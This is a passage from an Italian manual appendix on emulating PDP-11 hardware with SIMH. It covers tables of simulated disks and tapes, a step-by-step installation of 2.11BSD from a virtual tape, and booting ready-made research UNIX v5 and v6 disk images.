PDP11/24	Unibus	4 Mibyte	1980
PDP11/73	Q-bus	4 Mibyte	1983
PDP11/21	Q-bus	64 Kibyte	1983
PDP11/83	Q-bus, Private memory bus	4 Mibyte	1985
PDP11/84	Unibus, Private memory bus	4 Mibyte	1985
PDP11/53	Q-bus	4 Mibyte	1987
PDP11/93	Q-bus, Private memory bus	4 Mibyte	1990
PDP11/94	Unibus, Private memory bus	4 Mibyte	1990

A.2.5 Simulazione unità a disco e a nastro

SIMH offre la simulazione di una gamma di dischi e nastri magnetici abbastanza ampia. La tabella successiva associa i tipi principali di dischi e nastri simulati all'unità di controllo e alla sigla usata da SIMH.

Tabella A.14. I tipi principali di dischi e nastri gestiti da SIMH, associati ai nomi usati dai primi sistemi UNIX e BSD. Lo spazio disponibile viene calcolato in modo compatibile all'uso consueto: byte e multipli di byte.

SIMH	unità di controllo	modello	tipo	BSD		capacità byte	byte/ settore	settori/ traccia	tracce/ cilindro	cilindri
RK	RK11	RK05	cartridge	rk	/dev/**rk**0a /dev/r**rk**0a	2 494 464	512	12	2	203
HK	RK611	RK06		hk	/dev/**hk**0a /dev/r**hk**0a	13 888 512	512	22	3	411
		RK07				27 540 480	512	22	3	815
RL	RL11 RLV12	RL01		rl	/dev/**rl**0a /dev/r**rl**0a	5 242 880	256	40	2	256
		RL02				10 485 760	512	40	2	256
	RP11	RP01	pack	rp	/dev/**rp**0a /dev/r**rp**0a	5 196 800	512	5	10	203
		RP02				20 787 200	512	10	20	203
		RP03				40 960 000	512	10	20	400
RP	Massbus: RH70 RH11	RP04		xp	/dev/**xp**0a /dev/r**xp**0a	79 964 160	512	20	19	411
		RP05				79 964 160	512	20	19	411
		RP06				174 423 040	512	22	19	815
		RP07	fixed			516 096 000	512	50	32	630
		RM02	pack			67 420 160	512	32	5	823
		RM03				67 420 160	512	32	5	823
		RM05				256 196 608	512	32	19	823
		RM80	fixed			128 221 184	512	32	14	559
RQ	MSCP: RQDX3	RA60	pack	ra	/dev/**ra**0a /dev/r**ra**0a	204 890 112	512	42	4	2382
		RA70	fixed			280 084 992	512	33	11	1507
		RA71				700 062 720	512	51	14	1915
		RA72				1 000 089 600	512	51	20	1915
		RA73				2 007 290 880	512	70	21	2667
		RA80				121 325 568	512	31	14	546
		RA81				456 228 864	512	51	14	1248
		RA82				622 932 480	512	57	15	1423
		RA90				1 216 590 336	512	69	13	2649
		RA92				1 505 926 656	512	69	13	3279
		RD51	fixed			10 653 696	512	17	4	306
		RD52				30 965 760	512	18	7	480
		RD53				75 497 472	512	18	8	1024
		RD54				159 936 000	512	17	15	1225
		RD31				21 411 840	512	17	4	615
		RD32				42 823 680	512	17	6	820
		RX33	fd 5,25 in			1 228 800	512	15	2	80
						737 280	512	9	2	80
						409 600	512	10	1	80
						368 640	512	9	2	40
		RX50	fd 5,25 in			409 600	512	10	1	80
RX	RX11	RX01	fd 8 in			256 256	128	26	1	77
RY	RX211	RX02				512 512	256	26	1	77

SIMH	unità di controllo	modello	tipo	BSD	
TU	TM02 TM03	TE16	tape	ht	
		TU45			
		TU77			
TM		TE10		tm	
		TM11			
TS		TS11		ts	
		TSV05			

A.3 2.11BSD

Questo capitolo descrive un procedimento per installare 2.11BSD in un PDP-11 simulato attraverso SIMH, utilizzato a sua volta in un sistema GNU/Linux.

La lettura di questo capitolo è utile solo dopo quella della guida originale di Steven Schultz, *Installing and operating 2.11BSD on the PDP-11*, che può essere ottenuta dall'indirizzo ⟨*http://minnie.tuhs.org/PUPS/Setup/2.11bsd_setup.pdf*⟩.

I file usati per l'installazione descritta in questo capitolo provengono da ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/ucb/2.11BSD/*⟩. Eventualmente è disponibile anche una forma diversa della stessa distribuzione che parte direttamente da un file-immagine del disco contenente il file system principale, con tutto ciò che serve, già pronto per SIMH: ⟨*http://minnie.tuhs.org/Archive/PDP-11/Boot_Images/2.11_on_Simh/*⟩.

A.3.1 Preparazione del nastro virtuale

Tra i file che compongono la distribuzione, quelli che servono per costruire il nastro di installazione sono i seguenti:

File	Descrizione
'mtboot'	Contiene il settore di avvio da usare con il nastro.
'boot'	Contiene il programma di avvio per la gestione iniziale del nastro.
'disklabel'	Contiene il programma, da avviare attraverso il nastro, usato per suddividere i dischi in partizioni.
'mkfs'	Contiene il programma, da avviare attraverso il nastro, con il quale inizializzare le partizioni dei dischi.
'restore'	Contiene il programma, da avviare attraverso il nastro, con il quale è possibile recuperare i dati archiviati con '**dump**'.
'icheck'	Contiene il programma, da avviare attraverso il nastro, per il controllo del file system di una partizione.
'root.dump'	Contiene l'archivio del file system principale, da estrarre con '**restor**'.
'file6.tar.gz'	Contiene l'archivio di quanto si articola a partire da '/usr/'.
'file7.tar.gz'	Contiene l'archivio di quanto si articola a partire da '/usr/src/'.
'file8.tar.gz'	Contiene l'archivio di altro materiale che si articola sempre a partire da '/usr/src/'.

I tre file con estensione '.tar.gz' vanno decompressi:

GNU/Linux $ **gunzip file*.tar.gz** [*Invio*]

I primi due file vanno combinati assieme, in modo da formare un solo file organizzato nel modo seguente:

'mtboot'	512 byte
'mtboot'	512 byte
'boot'	35 328 byte

In pratica, essendo i file più corti delle dimensioni indicate, vanno completati con byte a zero;

inoltre, come si vede, il settore di avvio va duplicato. Si procede nel modo seguente per aggiustare la dimensione del primo file:

```
GNU/Linux $ dd if=mkboot count=1 bs=512 conv=sync of=mtboot.sync [Invio]
```

Con il comando appena mostrato si ottiene il file '`mkboot.sync`' che completa la dimensione di 512 byte, come richiesto per il concatenamento. Il comando successivo predispone il file di avvio da collocare nella prima posizione del nastro:

```
GNU/Linux $ cat mkboot.sync mkboot.sync boot > avvio [Invio]
```

Si può quindi procedere alla preparazione del nastro virtuale, tenendo conto della dimensione dei settori prevista dalla documentazione originale, utilizzando i programmi descritti nella sezione A.2:

```
GNU/Linux $ convert_file_to_simh_tape 512 < avvio > tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 1024 < disklabel >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 1024 < mkfs >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 1024 < restor >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 1024 < icheck >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 10240 < root.dump >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 10240 < file6.tar >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 10240 < file7.tar >> tm11_0.tap [Invio]

GNU/Linux $ convert_file_to_simh_tape 10240 < file8.tar >> tm11_0.tap [Invio][2]
```

Con gli strumenti di SIMH è possibile controllare il contenuto del nastro virtuale generato:

```
GNU/Linux $ mtdump tm11_0.tap [Invio]
```

A.3.2 Configurazione iniziale del simulatore e avvio

Si decide di simulare un PDP-11/44 del 1979, con solo 1 Mibyte di memoria centrale (il minimo per poter utilizzare 2.11BSD), con due unità a nastro connesse a un'unità di controllo TM11 (se si volesse usare l'unità TS11 si potrebbe gestire un solo nastro) e con un disco MSCP RA82 di dimensione inusuale: 200 000 000 byte. Un disco così capiente consente di installare tutto in una sola partizione, senza bisogno di innestarne altri.

Il file-immagine del disco deve essere creato prima di avviare il simulatore:

```
GNU/Linux $ dd if=/dev/zero of=ra82_0.dsk bs=1000000 count=200 [Invio]
```

Così facendo viene creato il file '`ra82_0.dsk`'. Nella simulazione vengono usati inoltre i file '`tm11_0.tap`', creato precedentemente con il necessario per procedere all'installazione del sistema, e '`tm11_1.tap`', il cui scopo è quello di disporre di un'unità ulteriore per archiviare dati mentre si usa 2.11BSD nel simulatore. Il file-immagine del secondo nastro non va predisposto, perché viene creato contestualmente al suo utilizzo.

L'ultima fase prima dell'avvio del simulatore consiste nel predisporre uno script con la configurazione desiderata della simulazione:

```
;
; PDP-11/44 (1979) with only 1 Mibyte RAM memory.
;
SET    CPU  11/44
SET    CPU  1024K
SHOW   CPU
;
; Devices that might be disabled.
;
;SET    RK   DISABLE
;SET    HK   DISABLE
;SET    TC   DISABLE
;SET    TS   DISABLE
;
; TM11 tape simulator.
;
SET    TM   ENABLED
SET    TM0  LOCKED
ATTACH TM0  tm11_0.tap
SHOW   TM0
;
SET    TM1  WRITEENABLED
ATTACH TM1  tm11_1.tap
SHOW   TM1
;
; MSCP disk.
; The actual disk has an unusual size: 200000000 byte
;
SET    RQ   ENABLED
SET    RQ0  RAUSER=200
ATTACH RQ0  ra82_0.dsk
SHOW   RQ0
;
; Should boot manually.
;
```

Supponendo che questo file si chiami '**simh.ini**', si può avviare il simulatore nel modo seguente:

GNU/Linux $ **pdp11 simh.ini** [*Invio*]

```
PDP-11 simulator V3.5-1
Disabling XQ
CPU, 11/44, FPP, NOCIS, autoconfiguration on, 1024KB
TM0, attached to tm11_0.tap, write locked, SIMH format
TM: creating new file
TM1, attached to tm11_1.tap, write enabled, SIMH format
RQ0, 200MB, attached to ra82_0.dsk, write enabled, RAUSER
```

Lo script non contiene l'istruzione di avvio ('**BOOT**') che così deve essere data a mano. Ciò consente di verificare la correttezza della configurazione dai messaggi che si ottengono. Dall'invito del simulatore si può dare il comando di avvio attraverso il nastro contenente la distribuzione:

```
SIMH sim> BOOT TM0 [Invio]
```

```
44Boot from tm(0,0,0) at 0172522
```

```
tape boot :
```

Il programma di avvio contenuto nel primo file del nastro viene eseguito e si presenta così un altro invito (i due punti), dove va scritto quale programma eseguire (quale file eseguire) all'interno del nastro.

A.3.3 Preparazione delle partizioni

Dall'invito del programma di avvio della distribuzione occorre iniziare selezionando il programma che consente di predisporre le partizioni all'interno del disco virtuale. Questo programma ('**disklabel**') si trova nel secondo file del nastro (è il secondo in base alla procedura descritta per la preparazione di tale nastro); pertanto si avvia così:

```
tape boot : tm(0,1) [Invio][3]
```

```
Boot: bootdev=0401 bootscr=0172522
disklabel
```

```
disklabel Disk?
```

A questo punto appare l'invito di '**disklabel**', dal quale è necessario inserire le coordinate del disco che si vuole suddividere in partizioni. In questo caso, si tratta di un'unità «ra», pertanto si usa la sigla '**ra(0,0)**':

```
disklabel Disk? ra(0,0) [Invio]
```

```
'ra(0,0)' is unlabeled or the label is corrupt.
```

```
disklabel Proceed?  [y/n] y
```

```
disklabel d(isplay) D(efault) m(odify) w(rite) q(uit)? y
```

Si comincia visualizzando la situazione, per poter calcolare la posizione delle partizioni:

```
disklabel d(isplay) D(efault) m(odify) w(rite) q(uit)? d
```

```
type: MSCP
disk: RA82
label: DEFAULT
flags:
bytes/sector: 512
sectors/track: 57
tracks/cylinder: 15
sectors/cylinder: 855
cylinders: 457
rpm: 3600
drivedata: 0 0 0 0 0

1 partitions:
#  size    offset  fstype   [fsize bsize]
a: 390800  0       2.11BSD   1024  1024    # (Cyl. 0 - 457*)
```

La partizione '**a:**' viene creata automaticamente, ma va modificata perché le dimensioni non sono corrette e perché occorre comunque una partizione per lo scambio della memoria virtuale.

In base alla geometria del disco, sono disponibili 457 cilindri contenenti 855 settori da 512 byte; pertanto, ogni cilindro ha una capacità di 437760 byte. 2.11BSD può utilizzare una sola partizione per lo scambio della memoria virtuale, al massimo da 32 Mibyte; pertanto, si possono utilizzare al massimo 76 cilindri per questo fine, pari a 64980 settori, mentre i restanti 381 cilindri, pari a 325755 settori, vanno usati per il file system:

```
disklabel d(isplay) D(efault) m(odify) w(rite) q(uit)? m

  modify

disklabel d(isplay) g(eometry) m(isc) p(artitions) q(uit)? p

  modify partitions

disklabel d(isplay) n(umber) s(elect) q(uit)? s

disklabel a b c d e f g h q(uit)? a

  sizes and offsets may be given as sectors, cylinders
  or cylinders plus sectors:  6200, 32c, 19c10s respectively
  modify partition 'a'

disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? t

disklabel 'a' fstype [2.11BSD]: 2.11BSD [Invio]

  modify partition 'a'

disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? o

disklabel 'a' offset [0]: 0 [Invio]4
```

```
  modify partition 'a'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? s
disklabel 'a' size [390800]: 325755 [Invio]5

  modify partition 'a'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? f
disklabel 'a' frags/fs-block [1]: 1 [Invio]

  modify partition 'a'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? F
disklabel 'a' frag size [1024]: 1024 [Invio]

  modify partition 'a'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? q

  modify partitions
```

Termina così la configurazione della partizione '**a:**'. Si può passare a '**b:**', che **deve** essere usata per lo scambio della memoria virtuale.

```
disklabel d(isplay) n(umber) s(elect) q(uit)? s
disklabel a b c d e f g h q(uit)? b

  sizes and offsets may be given as sectors, cylinders
  or cylinders plus sectors:  6200, 32c, 19c10s respectively
  modify partition 'b'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? t
disklabel 'b' fstype [unused]: swap [Invio]6

  modify partition 'b'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? o
disklabel 'b' offset [0]: 325755 [Invio]7

  modify partition 'b'
disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? s
disklabel 'b' size [0]: 64980 [Invio]
```

```
  modify partition 'b'
```

disklabel `d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)?` **`f`**

disklabel `'b' frags/fs-block [1]:` **`1`** [*Invio*]

```
  modify partition 'b'
```

disklabel `d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)?` **`F`**

disklabel `'b' frag size [1024]:` **`1024`** [*Invio*]

```
  modify partition 'b'
```

disklabel `d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)?` **`q`**

```
  modify partitions
```

Termina anche la configurazione della partizione '`b:`' e si deve controllare che i dati inseriti siano coerenti, soprattutto che non ci siano accavallamenti tra le due partizioni.

disklabel `d(isplay) n(umber) s(elect) q(uit)?` **`d`**

```
type: MSCP
disk: RA82
label: DEFAULT
flags:
bytes/sector: 512
sectors/track: 57
tracks/cylinder: 15
sectors/cylinder: 855
cylinders: 457
rpm: 3600
drivedata: 0 0 0 0 0

2 partitions:
#  size    offset  fstype   [fsize bsize]
a: 325755  0       2.11BSD   1024 1024     # (Cyl. 0 - 380)
b: 64980   325755  swap                    # (Cyl. 381 - 456)

modify partitions
```

Si può procedere quindi con la partizione '`c:`', il cui scopo è solo quello di descrivere lo spazio usato complessivamente dalle altre due partizioni.

disklabel `d(isplay) n(umber) s(elect) q(uit)?` **`s`**

disklabel `a b c d e f g h q(uit)?` **`c`**

```
  sizes and offsets may be given as sectors, cylinders
  or cylinders plus sectors:  6200, 32c, 19c10s respectively
  modify partition 'c'
```

disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? **o**

disklabel 'c' offset [0]: **0** [*Invio*]

```
  modify partition 'c'
```

disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? **s**

disklabel 'c' size [0]: **390735** [*Invio*]

```
  modify partition 'c'
```

disklabel d(isplay) z(ero) t(ype) o(ffset) s(ize) f(rag) F(size) q(uit)? **q**

```
  modify partitions
```

Si controlla ulteriormente la situazione:

disklabel d(isplay) n(umber) s(elect) q(uit)? **d**

```
  type: MSCP
  disk: RA82
  label: DEFAULT
  flags:
  bytes/sector: 512
  sectors/track: 57
  tracks/cylinder: 15
  sectors/cylinder: 855
  cylinders: 457
  rpm: 3600
  drivedata: 0 0 0 0 0

  2 partitions:
  #  size    offset  fstype   [fsize bsize]
  a: 325755  0       2.11BSD   1024 1024     # (Cyl. 0 - 380)
  b: 64980   325755  swap                    # (Cyl. 381 - 456)
  c: 390735  0       unused    1024 1024     # (Cyl. 0 - 456)

  modify partitions
```

A questo punto si può concludere confermando la suddivisione stabilita:

disklabel d(isplay) n(umber) s(elect) q(uit)? **q**

disklabel d(isplay) D(efault) m(odify) w(rite) q(uit)? **w**

```
disklabel d(isplay) D(efault) m(odify) w(rite) q(uit)? q
```

Si ritorna così sotto il controllo del programma di gestione del nastro:

```
44Boot from tm(0,0,1) at 0172522
```

```
tape boot :
```

A.3.4 Inizializzazione del file system

Il programma che serve a inizializzare il file system nella prima partizione del disco si trova nel terzo file del nastro. Il programma in question è '**mkfs**':

```
tape boot : tm(0,2) [Invio]
```

```
Boot: bootdev=0402 bootcsr=0172522
Mkfs
```

```
mkfs file system: ra(0,0) [Invio]
```

Si osservi che le coordinate '**ra(0,0)**' rappresentano precisamente la prima partizione del disco. Viene proposta la dimensione del file system, che è corretta, perché si riferisce a unità da 1 024 byte (si perde un settore, perché la partizione ne è composta da una quantità dispari).

```
mkfs file sys size [162877]: [Invio]
```

Si conferma anche la dimensione degli inode:

```
mkfs bytes per inode [4096]: [Invio]
```

Per quanto riguarda la sequenza dei settori nel disco, trattandosi di una simulazione in un file, non serve a nulla che questi siano alternati, pertanto si evita tale accorgimento:

```
mkfs interleaving factor (m; 2 default): 1 [Invio]
```

```
mkfs interleaving modulus (n; 427 default): 1 [Invio]
```

```
m/n = 1 1
Exit called
```

```
44Boot from tm(0,0,2) at 0172522
```

```
tape boot :
```

Terminata l'inizializzazione, si può fare la verifica del file system con il programma '**icheck**' che si trova nel quinto file del nastro:

```
tape boot : tm(0,4) [Invio]
```

```
Boot: bootdev=0404 bootcsr=0172522
Icheck
```

icheck File: **ra(0,0)** [*Invio*]

```
ra(0,0):
Not enough core; duplicates unchecked
files 3 (r=1,d=2,b=0,c=0,l=0,s=0)
used 2 (i=0,ii=0,iii=0,d=2)
free 160328

44Boot from tm(0,0,4) at 0172522
```

tape boot **:**

A.3.5 Copia dei file principali e primo avvio del sistema

Il nastro contiene quattro file separati da cui estrarre il contenuto del sistema operativo. Il primo, collocato nella sesta posizione del nastro, è un archivio ottenuto con il programma '**dump**' e contiene i file principali indispensabili per l'avvio di un sistema minimo; il secondo, collocato nella settima posizione, contiene ciò che va installato a partire dalla directory '/usr/'; il terzo, collocato nell'ottava posizione, contiene i sorgenti del kernel da installare a partire da '/usr/src/'; infine, il quarto, collocato nella nona posizione, contiene gli altri sorgenti disponibili e va installato sempre a partire da '/usr/src/'.

Si comincia con il ripristino dei file principali; poi, le operazioni successive si devono svolgere con il sistema avviato regolarmente.

tape boot **: tm(0,3)** [*Invio*]

Viene caricato il programma per il ripristino dei dati archiviati: '**restore**'.

```
Boot: bootdev=0403 bootcsr=0172522
Restor
```

restor Tape?: **tm(0,5)** [*Invio*]

restor Disk?: **ra(0,0)** [*Invio*]

restor Last chance before scribbling on disk. [*Invio*]

```
End of tape

44Boot from tm(0,0,3) at 0172522
```

tape boot **:**

A questo punto si può avviare il sistema minimo appena installato, per poi proseguire con le altre fasi di copia della distribuzione.

tape boot **: ra(0,0)unix** [*Invio*]

Quanto appena scritto indica di avviare il file 'unix' che si trova nella directory radice del file system collocato nella prima partizione del primo disco. Il file 'unix' è quindi il kernel del sistema.

```
Boot: bootdev=02400 bootcsr=0172150

2.11 BSD UNIX #115: Sat Apr 22 19:07:25 PDT 2000
sms1@curly.2bsd.com:/usr/src/sys/GENERIC

ra0: Ver 3 mod 6
ra0: RA82  size=390800

phys mem  = 1048576
avail mem = 824640
user mem  = 307200

June  8 21:21:24 init: configure system

hk 0 csr 177440 vector 210 attached
ht ? csr 172440 vector 224 skipped:  No CSR.
ra 0 csr 172150 vector 154 vectorset attached
rl 0 csr 174400 vector 160 attached
tm 0 csr 172520 vector 224 attached
tms 0 csr 174500 vector 260 vectorset attached
ts ? csr 172520 vector 224 interrupt vector already in use.
xp 0 csr 176700 vector 254 attached
erase, kill ^U, intr ^C
```

A questo punto appare l'invito del sistema operativo e si deve procedere con l'installazione degli altri archivi. È da osservare che il primo nastro magnetico viene individuato dal file di dispositivo '`/dev/rmt12`' (ed eventualmente il secondo corrisponde a '`/dev/rmt13`'), mentre le partizioni '*x*:' corrispondono ai file di dispositivo '`/dev/rra0`*x*'. Ma occorre prima accertarsi che i file di dispositivo siano quelli adatti all'hardware scelto.

A.3.6 Sistemazione dell'avvio dal disco

Per il momento, il sistema è stato avviato con l'aiuto del programma di gestione del nastro. In un secondo momento, il nastro può essere usato ancora per avviare il disco, ma se è possibile, è meglio sistemare il programma di avvio all'inizio del disco:

2.11BSD # **cd /mdec** [*Invio*]

2.11BSD # **ls -l** [*Invio*]

```
total 14
-r--r--r--  1 root          512 Dec  5  1995 bruboot
-r--r--r--  1 root          512 Dec  5  1995 dvhpuboot
-r--r--r--  1 root          512 Dec  5  1995 hkuboot
-r--r--r--  1 root          512 Dec  5  1995 hpuboot
-r--r--r--  1 root          512 Dec  5  1995 rauboot
-r--r--r--  1 root          512 Dec  5  1995 rkuboot
-r--r--r--  1 root          512 Dec  5  1995 rluboot
```

```
-r--r--r--  1 root          512 Dec  5  1995 rm03uboot
-r--r--r--  1 root          512 Dec  5  1995 rm05uboot
-r--r--r--  1 root          512 Dec  5  1995 rx01uboot
-r--r--r--  1 root          512 Dec  5  1995 rx02uboot
-r--r--r--  1 root          512 Dec  5  1995 si51uboot
-r--r--r--  1 root          512 Dec  5  1995 si94uboot
-r--r--r--  1 root          512 Dec  5  1995 si95uboot
```

Dei programmi contenuti nella directory '`/mdec/`' occorre scegliere quello adatto al tipo di disco che si utilizza. In questo caso, si deve scegliere il file '`rauboot`'. Il file, della dimensione di un solo settore, va copiato con l'aiuto di '**`dd`**', all'inizio della prima partizione:

2.11BSD # **`dd if=/mdec/rauboot of=/dev/rra0a count=1`** [*Invio*]

```
1+0 records in
1+0 records out
```

A questo punto conviene verificare che l'operazione abbia avuto successo, arrestando il sistema (quello installato nell'hardware simulato con SIMH):

2.11BSD # **`shutdown -h now`** [*Invio*]

```
Shutdown at 18:02 (in 0 minutes) [pid 16]
#
System shutdown time has arrived
syncing disks... done
halting

HALT instruction, PC: 000014 (MOV #1,17406)
```

A questo punto si ritorna sotto il controllo di SIMH e si può tentare di avviare il sistema operativo direttamente dal disco:

SIMH `sim>` **`BOOT RQ0`** [*Invio*]

Si osservi che per SIMH, la sigla '**`RQ0`**' rappresenta il primo disco simulato, in base alla scelta dell'hardware fatta in precedenza.

```
44Boot from ra(0,0,0) at 0172150
```

disk boot **`: ra(0,0)unix`** [*Invio*]

```
Boot: bootdev=02400 bootcsr=0172150

2.11 BSD UNIX #115: Sat Apr 22 19:07:25 PDT 2000
sms1@curly.2bsd.com:/usr/src/sys/GENERIC

ra0: Ver 3 mod 6
ra0: RA82  size=390800
```

```
phys mem  = 1048576
avail mem = 824640
user mem  = 307200

hk 0 csr 177440 vector 210 attached
ht ? csr 172440 vector 224 skipped:  No CSR.
ra 0 csr 172150 vector 154 vectorset attached
rl 0 csr 174400 vector 160 attached
tm 0 csr 172520 vector 224 attached
tms 0 csr 174500 vector 260 vectorset attached
ts ? csr 172520 vector 224 interrupt vector already in use.
xp 0 csr 176700 vector 254 attached
erase, kill ^U, intr ^C
```

2.11BSD #

A.3.7 Predisposizione dei file di dispositivo e conclusione dell'installazione

Nella directory '/dev/' occorre eliminare i file di dispositivo riferiti alle unità a nastro, per ricrearli in base alle caratteristiche del tipo di nastro simulato effettivamente:

2.11BSD # **cd /dev** [*Invio*]

2.11BSD # **rm *mt*** [*Invio*]

2.11BSD # **./MAKEDEV tm0** [*Invio*][8]

2.11BSD # **sync** [*Invio*]

A questo punto, si può procedere con il recupero degli archivi rimasti.

2.11BSD # **cd /usr** [*Invio*]

Si riavvolge il nastro:

2.11BSD # **mt -f /dev/rmt12 rew** [*Invio*]

Si posiziona il nastro all'inizio della settima posizione:

2.11BSD # **mt -f /dev/rmt12 fsf 6** [*Invio*]

Si estrae l'archivio a partire dalla directory corrente:

2.11BSD # **tar xpbf 20 /dev/rmt12** [*Invio*]

Si procede in modo analogo per gli altri archivi.

2.11BSD # **mkdir /usr/src** [*Invio*]

2.11BSD # **cd /usr/src** [*Invio*]

In questo caso basta portare il nastro all'inizio del file successivo:

2.11BSD # **mt -f /dev/rmt12 fsf** [*Invio*]

2.11BSD # **tar xpbf 20 /dev/rmt12** [*Invio*]

Dopo aver estratto i sorgenti del kernel, occorre sistemare un collegamento simbolico:

2.11BSD # **cd /** [*Invio*]

2.11BSD # **rm -f /sys** [*Invio*]

2.11BSD # **ln -s usr/src/sys /sys** [*Invio*]

L'ultimo archivio da estrarre nella stessa directory '`/usr/src/`':

2.11BSD # **cd /usr/src** [*Invio*]

2.11BSD # **mt -f /dev/rmt12 fsf** [*Invio*]

2.11BSD # **tar xpbf 20 /dev/rmt12** [*Invio*]

A.3.8 Sistemare la data

Se si verifica la data, si può osservare che questa riporta l'anno 1995 e se si usa il comando '**`date`**', è possibile indicare solo le ultime due cifre dell'anno. Per risolvere il problema occorre un piccolo raggiro: prima si regola la data un secondo prima della mezzanotte del 1999, poi, passati al 2000, si può regolare l'ora in modo corretto:

2.11BSD # **date** [*Invio*]

```
Fri Jun  9 11:52:39 PDT 1995
```

2.11BSD # **date 9912312359.59** [*Invio*]

```
Fri Dec 31 23:59:59 PST 1999
```

2.11BSD # **date** [*Invio*]

```
Sat Jan  1 00:00:44 PST 2000
```

2.11BSD # **date 0702041821** [*Invio*]

```
Sun Feb  4 18:21:00 PST 2007
```

Si osservi che quando il sistema operativo (nell'hardware simulato) viene arrestato, l'orologio viene salvato e al riavvio successivo riprende da quel orario. Pertanto, a ogni riavvio occorre sistemare l'orologio.

2.11BSD # **shutdown -h now** [*Invio*]

A.4 Installazione di file-immagine pronti

Alcune edizioni dello UNIX di ricerca sono disponibili in file-immagine già pronti per questa o quella unità a disco. l'utilizzo di tali file con i simulatori è molto più semplice rispetto a una distribuzione su «nastro». Tuttavia, rimane il fatto che si tratta di versioni di UNIX prive di tanti accorgimenti a cui si è abituati se si conosce un sistema GNU e anche cose semplici come la correzione di quanto digitato sulla riga di comando possono essere impossibili.

A.4.1 UNIX versione 5 (RK05)

Si può trovare il file-immagine della versione 5 dello UNIX di ricerca, per un disco RK05, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v5/v5root.gz* ⟩. Il file va estratto e quindi va preparato uno script per SIMH.

GNU/Linux $ **gunzip < v5root.gz > unix_v5_root_rk05.dsk** [*Invio*]

Il nome scelto per il file estratto serve a sintetizzare le caratteristiche dell'immagine. Lo script per SIMH può avere il contenuto seguente:

```
;
; PDP-11/45 (1972) with only 256 Kibyte RAM memory.
;
SET     CPU  11/45
SHOW    CPU
;
; RK05 cartridge disk.
;
SET     RK   ENABLE
ATTACH  RK0  unix_v5_root_rk05.dsk
SHOW    RK0
;
; Should boot manually.
;
```

Se lo script è contenuto nel file '`unix_v5.ini`', si avvia la simulazione così:

GNU/Linux $ **pdp11 unix_v5.ini** [*Invio*]

```
PDP-11 simulator V3.6-1
Disabling XQ
CPU, 11/45, FPP, autoconfiguration on, 256KB
RK0, 1247KW, attached to unix_v5_root_rk05.dsk, write enabled
```

Quindi, dall'invito di SIMH si dà il comando di avvio:

SIMH sim> **BOOT RK0** [*Invio*]

Se funziona, appare un altro invito, generato dal settore di avvio. Questo invito è rappresentato da una chiocciolina ('`@`'), dopo la quale va scritto il nome del file del kernel da eseguire:

disk boot @**unix** [*Invio*]

Praticamente non c’è alcuna procedura di avvio, quindi si ottiene immediatamente la richiesta di identificazione dell’utente:

UNIX `login:` **`root`** [*Invio*]

UNIX `#`

Si annotano i file di dispositivo presenti:

UNIX `#` **`chdir /dev`** [*Invio*]

UNIX `#` **`ls -l`** [*Invio*]

```
total 0
cr--r--r--  1 bin     1,  0 Nov 26 18:13 mem
crw-rw-rw-  1 bin     1,  2 Nov 26 18:13 null
crw--w--w-  1 root    0,  0 Mar 21 12:10 tty8
#
```

Non è prevista la procedura di arresto del sistema ed è disponibile solo ‘**`sync`**’, dopo il quale è possibile interrompere il funzionamento del simulatore con la combinazione [*Ctrl e*].

UNIX `#` **`sync`** [*Invio*]

UNIX `#` [*Ctrl e*]

```
Simulation stopped, PC: 014150 (INC R4)
```

SIMH `sim>` **`quit`** [*Invio*]

A.4.2 UNIX versione 6 (RK05)

Si può trovare il file-immagine della versione 6 dello UNIX di ricerca, per un disco RK05, presso ⟨*http://minnie.tuhs.org/Archive/PDP-11/Distributions/research/Dennis_v6/v6root.gz* ⟩. Il file va estratto e quindi va preparato uno script per SIMH. Tuttavia, il settore di avvio contenuto nel file-immagine non funziona con il simulatore e va sostituito con una copia della versione 5.

Per prelevare il settore di avvio dal file-immagine della versione 5 si procede come nell’esempio seguente, dove si ottiene il file ‘`avvio`’:

GNU/Linux `$` **`dd if=unix_v5_root_rk05.dsk of=avvio bs=512 count=1`** [*Invio*]

Si estrae il file che contiene l’immagine principale della versione 6:

GNU/Linux `$` **`gunzip < v6root.gz > unix_v6_root_rk05_orig.dsk`** [*Invio*]

Si separa la porzione successiva al primo settore, generando un file temporaneo:

GNU/Linux `$` **`dd if=unix_v6_root_rk05_orig.dsk of=tmp bs=512 skip=1`** [*Invio*]

Si produce un nuovo file-immagine:

GNU/Linux `$` **`cat avvio tmp > unix_v6_root_rk05_fixed.dsk`** [*Invio*]

Si prepara anche il secondo file-immagine previsto, contenente i sorgenti dei programmi:

GNU/Linux $ **gunzip < v6src.gz > unix_v6_root_rk05_src.dsk** [*Invio*]

Lo script per SIMH può avere il contenuto seguente:

```
;
; PDP-11/45 (1972) with only 256 Kibyte RAM memory.
;
SET     CPU  11/45
SHOW    CPU
;
; RK05 cartridge disks.
;
SET     RK   ENABLE
